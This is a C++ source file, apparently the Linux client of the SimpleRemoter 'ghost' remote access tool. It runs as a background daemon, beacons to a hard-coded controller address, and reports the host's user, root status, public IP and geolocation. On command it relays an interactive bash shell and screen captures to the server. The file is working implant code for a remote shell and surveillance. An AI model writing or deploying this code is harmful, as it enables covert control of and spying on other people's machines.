Files
SimpleRemoter/linux/main.cpp
2026-02-04 21:03:53 +01:00

757 lines
24 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#include "common/commands.h"
#include "client/IOCPClient.h"
#include <unistd.h>
#include <sys/utsname.h>
#include <sys/sysinfo.h>
#include <sys/stat.h>
#include <pwd.h>
#include <string.h>
#include <termios.h>
#include <thread>
#include <fcntl.h>
#include <atomic>
#include <cerrno>
#include <csignal>
#include <sys/wait.h>
#include <pty.h>
#include <iostream>
#include <stdexcept>
#include <cstdio>
#include <memory>
#include <array>
#include <regex>
#include <fstream>
#include <map>
#include "ScreenHandler.h"
#include "common/logger.h"
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength);
// ============== 轻量 INI 配置文件读写Linux 替代 Windows iniFile==============
// 配置文件路径: ~/.config/ghost/config.ini
// 格式: key=value按行存储不分 section足够简单场景使用
class LinuxConfig
{
public:
LinuxConfig()
{
// 确定配置目录
const char* xdg = getenv("XDG_CONFIG_HOME");
if (xdg && xdg[0]) {
m_dir = std::string(xdg) + "/ghost";
} else {
const char* home = getenv("HOME");
if (!home) home = "/tmp";
m_dir = std::string(home) + "/.config/ghost";
}
m_path = m_dir + "/config.ini";
Load();
}
std::string GetStr(const std::string& key, const std::string& def = "") const
{
auto it = m_data.find(key);
return it != m_data.end() ? it->second : def;
}
void SetStr(const std::string& key, const std::string& value)
{
m_data[key] = value;
Save();
}
int GetInt(const std::string& key, int def = 0) const
{
auto it = m_data.find(key);
if (it != m_data.end()) {
try { return std::stoi(it->second); } catch (...) {}
}
return def;
}
void SetInt(const std::string& key, int value)
{
m_data[key] = std::to_string(value);
Save();
}
private:
std::string m_dir;
std::string m_path;
std::map<std::string, std::string> m_data;
void Load()
{
std::ifstream f(m_path);
std::string line;
while (std::getline(f, line)) {
size_t eq = line.find('=');
if (eq != std::string::npos) {
std::string k = line.substr(0, eq);
std::string v = line.substr(eq + 1);
m_data[k] = v;
}
}
}
void Save()
{
// 创建目录mkdir -p 效果)
mkdir(m_dir.c_str(), 0755);
std::ofstream f(m_path, std::ios::trunc);
for (auto& kv : m_data) {
f << kv.first << "=" << kv.second << "\n";
}
}
};
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "192.168.0.55", "6543", CLIENT_TYPE_LINUX };
// 全局状态
State g_bExit = S_CLIENT_NORMAL;
// 伪终端处理类继承自IOCPManager.
class PTYHandler : public IOCPManager
{
public:
PTYHandler(IOCPClient* client) : m_client(client), m_running(false)
{
if (!client) {
throw std::invalid_argument("IOCPClient pointer cannot be null");
}
// 创建伪终端
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
throw std::runtime_error("Failed to create pseudo terminal");
}
// 设置伪终端为非阻塞模式
int flags = fcntl(m_master_fd, F_GETFL, 0);
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
// 启动 Shell 进程
startShell();
}
~PTYHandler()
{
m_running = false;
if (m_readThread.joinable()) m_readThread.join();
close(m_master_fd);
close(m_slave_fd);
if (m_child_pid > 0) {
kill(m_child_pid, SIGTERM);
waitpid(m_child_pid, nullptr, 0);
}
}
// 启动读取线程
void Start()
{
bool expected = false;
if (!m_running.compare_exchange_strong(expected, true)) return;
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
}
virtual VOID OnReceive(PBYTE data, ULONG size)
{
if (size && data[0] == COMMAND_NEXT) {
Start();
return;
}
std::string s((char*)data, size);
Mprintf("%s", s.c_str());
if (size > 0) {
ssize_t total = 0;
while (total < (ssize_t)size) {
ssize_t written = write(m_master_fd, (char*)data + total, size - total);
if (written == -1) {
if (errno == EAGAIN || errno == EINTR) continue;
Mprintf("OnReceive: write error %d\n", errno);
break;
}
total += written;
}
}
}
private:
int m_master_fd, m_slave_fd;
IOCPClient* m_client;
std::thread m_readThread;
std::atomic<bool> m_running;
pid_t m_child_pid;
void startShell()
{
m_child_pid = fork();
if (m_child_pid == -1) {
close(m_master_fd);
close(m_slave_fd);
throw std::runtime_error("Failed to fork shell process");
}
if (m_child_pid == 0) { // 子进程
setsid(); // 创建新的会话
dup2(m_slave_fd, STDIN_FILENO);
dup2(m_slave_fd, STDOUT_FILENO);
dup2(m_slave_fd, STDERR_FILENO);
close(m_master_fd);
close(m_slave_fd);
// 关闭回显、禁用 ANSI 颜色、关闭 PS1
const char* shell_cmd =
"stty -echo -icanon; " // 禁用回显和规范模式
"export TERM=dumb; " // 设置终端类型为 dumb
"export LS_COLORS=''; " // 禁用颜色
"export PS1='>'; " // 设置提示符
//"clear; " // 清空终端
"exec /bin/bash --norc --noprofile -i"; // 启动 Bash
execl("/bin/bash", "/bin/bash", "-c", shell_cmd, nullptr);
exit(1);
}
}
void readFromPTY()
{
char buffer[4096];
while (m_running) {
ssize_t bytes_read = read(m_master_fd, buffer, sizeof(buffer) - 1);
if (bytes_read > 0) {
if (m_client) {
buffer[bytes_read] = '\0';
Mprintf("%s", buffer);
m_client->Send2Server(buffer, bytes_read);
}
}
else if (bytes_read == -1) {
if (errno == EAGAIN || errno == EWOULDBLOCK) {
usleep(10000);
} else {
Mprintf("readFromPTY: read error %d\n", errno);
break;
}
}
}
}
};
void* ShellworkingThread(void* param)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter ShellworkingThread [%p]\n", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
BYTE bToken = TOKEN_SHELL_START;
ClientObject->Send2Server((char*)&bToken, 1);
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_SHELL_START\n", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
}
Mprintf(">>> Leave ShellworkingThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** ShellworkingThread exception: %s ***\n", e.what());
}
return NULL;
}
void* ScreenworkingThread(void* param)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
handler->SendBitmapInfo();
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
}
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
} catch (const std::exception& e) {
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
}
return NULL;
}
int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer == nullptr || ulLength == 0)
return TRUE;
if (szBuffer[0] == COMMAND_BYE) {
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
g_bExit = S_CLIENT_EXIT;
}
else if (szBuffer[0] == COMMAND_SHELL) {
std::thread(ShellworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SHELL' command ***\n", user);
}
else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
std::thread(ScreenworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SCREEN_SPY' command ***\n", user);
}
else if (szBuffer[0] == COMMAND_NEXT) {
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
}
else {
Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0]));
}
return TRUE;
}
// 方法1: 解析 lscpu 命令(优先使用)
double parse_lscpu()
{
std::array<char, 128> buffer;
std::string result;
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("lscpu", "r"), pclose);
if (!pipe) return -1.0;
while (fgets(buffer.data(), buffer.size(), pipe.get())) {
result += buffer.data();
}
// 匹配 "Model name" 中的频率(如 "Intel(R) Core(TM) i5-6300HQ CPU @ 2.30GHz"
std::regex model_regex("@ ([0-9.]+)GHz");
std::smatch match;
if (std::regex_search(result, match, model_regex) && match.size() > 1) {
try {
return std::stod(match[1].str()) * 1000; // GHz -> MHz
} catch (...) {}
}
return -1;
}
// 方法2: 解析 /proc/cpuinfo备用
double parse_cpuinfo()
{
std::ifstream cpuinfo("/proc/cpuinfo");
std::string line;
std::regex freq_regex("@ ([0-9.]+)GHz");
while (std::getline(cpuinfo, line)) {
if (line.find("model name") != std::string::npos) {
std::smatch match;
if (std::regex_search(line, match, freq_regex) && match.size() > 1) {
try {
return std::stod(match[1].str()) * 1000; // GHz -> MHz
} catch (...) {}
}
}
}
return -1;
}
// ============== 系统信息采集函数(用于填充 LOGIN_INFOR ==============
// 获取 Linux 发行版名称(如 "Ubuntu 24.04 LTS"
std::string getLinuxDistro()
{
std::ifstream f("/etc/os-release");
std::string line;
while (std::getline(f, line)) {
if (line.compare(0, 13, "PRETTY_NAME=\"") == 0) {
// PRETTY_NAME="Ubuntu 24.04.1 LTS"
std::string name = line.substr(13);
if (!name.empty() && name.back() == '"')
name.pop_back();
return name;
}
}
// 回退:使用 uname
struct utsname u = {};
if (uname(&u) == 0) {
return std::string(u.sysname) + " " + u.release;
}
return "Linux";
}
// 获取 CPU 核心数
int getCPUCores()
{
long n = sysconf(_SC_NPROCESSORS_ONLN);
return n > 0 ? (int)n : 1;
}
// 获取系统内存GB
double getMemorySizeGB()
{
struct sysinfo si = {};
if (sysinfo(&si) == 0) {
return si.totalram * (double)si.mem_unit / (1024.0 * 1024.0 * 1024.0);
}
return 0;
}
// 获取当前可执行文件路径
std::string getExePath()
{
char buf[1024] = {};
ssize_t len = readlink("/proc/self/exe", buf, sizeof(buf) - 1);
if (len > 0) {
buf[len] = '\0';
return buf;
}
return "";
}
// 获取文件大小(格式化为 "1.2M" 或 "123K"
std::string getFileSize(const std::string& path)
{
struct stat st = {};
if (stat(path.c_str(), &st) != 0) return "?";
char buf[32];
if (st.st_size >= 1024 * 1024) {
sprintf(buf, "%.1fM", st.st_size / (1024.0 * 1024.0));
} else if (st.st_size >= 1024) {
sprintf(buf, "%.1fK", st.st_size / 1024.0);
} else {
sprintf(buf, "%ldB", (long)st.st_size);
}
return buf;
}
// 获取当前用户名
std::string getUsername()
{
struct passwd* pw = getpwuid(getuid());
if (pw && pw->pw_name) return pw->pw_name;
const char* u = getenv("USER");
return u ? u : "?";
}
// 获取屏幕分辨率字符串(格式 "显示器数:宽*高"
std::string getScreenResolution()
{
// 尝试通过 xrandr 获取
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("xrandr --current 2>/dev/null", "r"), pclose);
if (pipe) {
char line[256];
// 匹配 "connected ... 1920x1080" 之类的行
int monitors = 0;
int maxW = 0, maxH = 0;
std::regex res_regex("\\s+(\\d+)x(\\d+)\\+");
while (fgets(line, sizeof(line), pipe.get())) {
std::string s(line);
if (s.find(" connected") != std::string::npos) {
monitors++;
std::smatch m;
if (std::regex_search(s, m, res_regex) && m.size() > 2) {
int w = std::stoi(m[1].str());
int h = std::stoi(m[2].str());
if (w > maxW) maxW = w;
if (h > maxH) maxH = h;
}
}
}
if (monitors > 0 && maxW > 0) {
char buf[64];
sprintf(buf, "%d:%d*%d", monitors, maxW, maxH);
return buf;
}
}
return "0:0*0";
}
// 执行命令并返回输出
static std::string execCmd(const std::string& cmd)
{
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
if (!pipe) return "";
char buf[4096];
std::string result;
while (fgets(buf, sizeof(buf), pipe.get())) {
result += buf;
}
// 去除尾部空白
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
result.pop_back();
return result;
}
// HTTP GET 请求(优先 curl备选 wget
static std::string httpGet(const std::string& url, int timeoutSec = 5)
{
std::string t = std::to_string(timeoutSec);
// 优先使用 curl
std::string r = execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
if (!r.empty()) return r;
// 备选 wgetUbuntu 默认自带)
r = execCmd("wget -qO- --timeout=" + t + " \"" + url + "\" 2>/dev/null");
return r;
}
// 获取公网 IP轮询多个查询源与 Windows 端一致)
std::string getPublicIP()
{
static const char* urls[] = {
"https://checkip.amazonaws.com",
"https://api.ipify.org",
"https://ipinfo.io/ip",
"https://icanhazip.com",
"https://ifconfig.me/ip",
};
for (auto& url : urls) {
std::string ip = httpGet(url, 3);
// 简单校验:非空且看起来像 IP含有点号长度合理
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
Mprintf("getPublicIP: %s (from %s)\n", ip.c_str(), url);
return ip;
}
}
Mprintf("getPublicIP: all sources failed\n");
return "";
}
// 从 JSON 字符串中提取指定 key 的值(简易解析,不依赖 jsoncpp
// 支持格式: "key": "value" 或 "key":"value"
static std::string jsonExtract(const std::string& json, const std::string& key)
{
std::string needle = "\"" + key + "\"";
size_t pos = json.find(needle);
if (pos == std::string::npos) return "";
pos = json.find(':', pos + needle.size());
if (pos == std::string::npos) return "";
pos = json.find('"', pos + 1);
if (pos == std::string::npos) return "";
size_t end = json.find('"', pos + 1);
if (end == std::string::npos) return "";
return json.substr(pos + 1, end - pos - 1);
}
// 获取 IP 地理位置(通过 ipinfo.io与 Windows 端一致)
std::string getGeoLocation(const std::string& ip)
{
if (ip.empty()) return "";
std::string json = httpGet("https://ipinfo.io/" + ip + "/json", 5);
if (json.empty()) return "";
std::string country = jsonExtract(json, "country");
std::string city = jsonExtract(json, "city");
if (city.empty() && country.empty()) return "";
if (city.empty()) return country;
if (country.empty()) return city;
return city + ", " + country;
}
// ============== 守护进程 ==============
// PID 文件路径(与配置文件同目录)
static std::string getPidFilePath()
{
const char* xdg = getenv("XDG_CONFIG_HOME");
std::string dir;
if (xdg && xdg[0]) {
dir = std::string(xdg) + "/ghost";
} else {
const char* home = getenv("HOME");
if (!home) home = "/tmp";
dir = std::string(home) + "/.config/ghost";
}
mkdir(dir.c_str(), 0755);
return dir + "/ghost.pid";
}
static void writePidFile()
{
std::string path = getPidFilePath();
std::ofstream f(path, std::ios::trunc);
f << getpid() << std::endl;
}
static void removePidFile()
{
unlink(getPidFilePath().c_str());
}
// 检查是否已有实例在运行
static bool isAlreadyRunning()
{
std::ifstream f(getPidFilePath());
int pid = 0;
if (f >> pid && pid > 0) {
// kill(pid, 0) 不发信号,仅检查进程是否存在
if (kill(pid, 0) == 0) return true;
}
return false;
}
// 经典 Unix 双 fork 守护进程
static void daemonize()
{
pid_t pid = fork();
if (pid < 0) exit(1);
if (pid > 0) exit(0); // 父进程退出
setsid(); // 新会话,脱离终端
pid = fork(); // 第二次 fork防止重新获取控制终端
if (pid < 0) exit(1);
if (pid > 0) exit(0);
// 关闭标准文件描述符,重定向到 /dev/null
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
open("/dev/null", O_RDONLY); // fd 0 = stdin
open("/dev/null", O_WRONLY); // fd 1 = stdout
open("/dev/null", O_WRONLY); // fd 2 = stderr
}
// 信号处理:收到 SIGTERM/SIGINT 时优雅退出
static void signalHandler(int sig)
{
g_bExit = S_CLIENT_EXIT;
}
static void setupSignals()
{
signal(SIGTERM, signalHandler); // kill 默认信号
signal(SIGINT, signalHandler); // Ctrl+C
signal(SIGHUP, SIG_IGN); // 终端断开时忽略
signal(SIGPIPE, SIG_IGN); // 写入已关闭的 socket 时忽略
}
// 用法: ./ghost [-d] [IP] [端口]
// -d 后台守护进程模式
// 示例: ./ghost -d 192.168.1.100 6543
int main(int argc, char* argv[])
{
// 解析 -d 参数
bool daemon_mode = false;
int argStart = 1;
if (argc > 1 && strcmp(argv[1], "-d") == 0) {
daemon_mode = true;
argStart = 2;
}
if (argStart + 1 < argc) {
g_SETTINGS.SetServer(argv[argStart], atoi(argv[argStart + 1]));
} else if (argStart < argc) {
g_SETTINGS.SetServer(argv[argStart], g_SETTINGS.ServerPort());
}
// 守护进程化(必须在 getpid() 等调用之前)
if (daemon_mode) {
if (isAlreadyRunning()) {
fprintf(stderr, "ghost is already running.\n");
return 1;
}
daemonize();
}
// 信号处理
setupSignals();
// 写 PID 文件(守护进程模式下 PID 已变为子进程的)
writePidFile();
Mprintf("Server: %s:%d (PID: %d%s)\n",
g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort(),
getpid(), daemon_mode ? ", daemon" : "");
char hostname[256] = {};
gethostname(hostname, sizeof(hostname));
LOGIN_INFOR logInfo;
// 主机名
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
// 操作系统版本(如 "Ubuntu 24.04 LTS"
std::string distro = getLinuxDistro();
strncpy(logInfo.OsVerInfoEx, distro.c_str(), sizeof(logInfo.OsVerInfoEx) - 1);
logInfo.OsVerInfoEx[sizeof(logInfo.OsVerInfoEx) - 1] = '\0';
// 启动时间
strncpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str(), sizeof(logInfo.szStartTime) - 1);
logInfo.szStartTime[sizeof(logInfo.szStartTime) - 1] = '\0';
// CPU 主频
double freq = parse_lscpu();
if (freq < 0) freq = parse_cpuinfo();
logInfo.dwCPUMHz = freq > 0 ? static_cast<unsigned int>(freq) : 0;
// 摄像头
logInfo.bWebCamIsExist = 0;
// 可执行文件路径
std::string exePath = getExePath();
// 读取配置文件(~/.config/ghost/config.ini
LinuxConfig cfg;
// 安装时间:首次运行写入,后续从配置文件读取
std::string installTime = cfg.GetStr("install_time");
if (installTime.empty()) {
installTime = ToPekingTimeAsString(nullptr);
cfg.SetStr("install_time", installTime);
Mprintf("First run, install_time saved: %s\n", installTime.c_str());
}
// 公网 IP 和地理位置缓存到配置文件7 天过期后重新查询
std::string pubIP = cfg.GetStr("public_ip");
std::string location = cfg.GetStr("location");
int ipTime = cfg.GetInt("ip_time");
bool ipExpired = ipTime <= 0 || (time(nullptr) - ipTime > 7 * 86400);
if (pubIP.empty() || location.empty() || ipExpired) {
pubIP = getPublicIP();
if (!pubIP.empty()) {
location = getGeoLocation(pubIP);
cfg.SetStr("public_ip", pubIP);
cfg.SetStr("location", location);
cfg.SetInt("ip_time", (int)time(nullptr));
Mprintf("IP/Location updated: %s / %s\n", pubIP.c_str(), location.c_str());
}
}
// ============== 填充 szReserved19 个字段,与服务端 LOGIN_RES 枚举一一对应)==============
logInfo.AddReserved("LNX"); // [0] RES_CLIENT_TYPE
logInfo.AddReserved(sizeof(void*) == 4 ? 32 : 64); // [1] RES_SYSTEM_BITS
logInfo.AddReserved(getCPUCores()); // [2] RES_SYSTEM_CPU
logInfo.AddReserved(getMemorySizeGB()); // [3] RES_SYSTEM_MEM
logInfo.AddReserved(exePath.c_str()); // [4] RES_FILE_PATH
logInfo.AddReserved("?"); // [5] RES_RESVERD
logInfo.AddReserved(installTime.c_str()); // [6] RES_INSTALL_TIME
logInfo.AddReserved("?"); // [7] RES_INSTALL_INFO
logInfo.AddReserved(sizeof(void*) == 4 ? 32 : 64); // [8] RES_PROGRAM_BITS
logInfo.AddReserved(""); // [9] RES_EXPIRED_DATE
logInfo.AddReserved(location.c_str()); // [10] RES_CLIENT_LOC
logInfo.AddReserved(pubIP.c_str()); // [11] RES_CLIENT_PUBIP
logInfo.AddReserved("v1.0.0"); // [12] RES_EXE_VERSION
logInfo.AddReserved(getUsername().c_str()); // [13] RES_USERNAME
logInfo.AddReserved(getuid() == 0 ? 1 : 0); // [14] RES_ISADMIN
logInfo.AddReserved(getScreenResolution().c_str()); // [15] RES_RESOLUTION
logInfo.AddReserved(""); // [16] RES_CLIENT_ID服务端自动计算
logInfo.AddReserved((int)getpid()); // [17] RES_PID
logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, false));
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
while (!g_bExit) {
clock_t c = clock();
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
Sleep(5000);
continue;
}
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
do {
Sleep(5000);
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit);
}
Logger::getInstance().stop();
removePidFile();
return 0;
}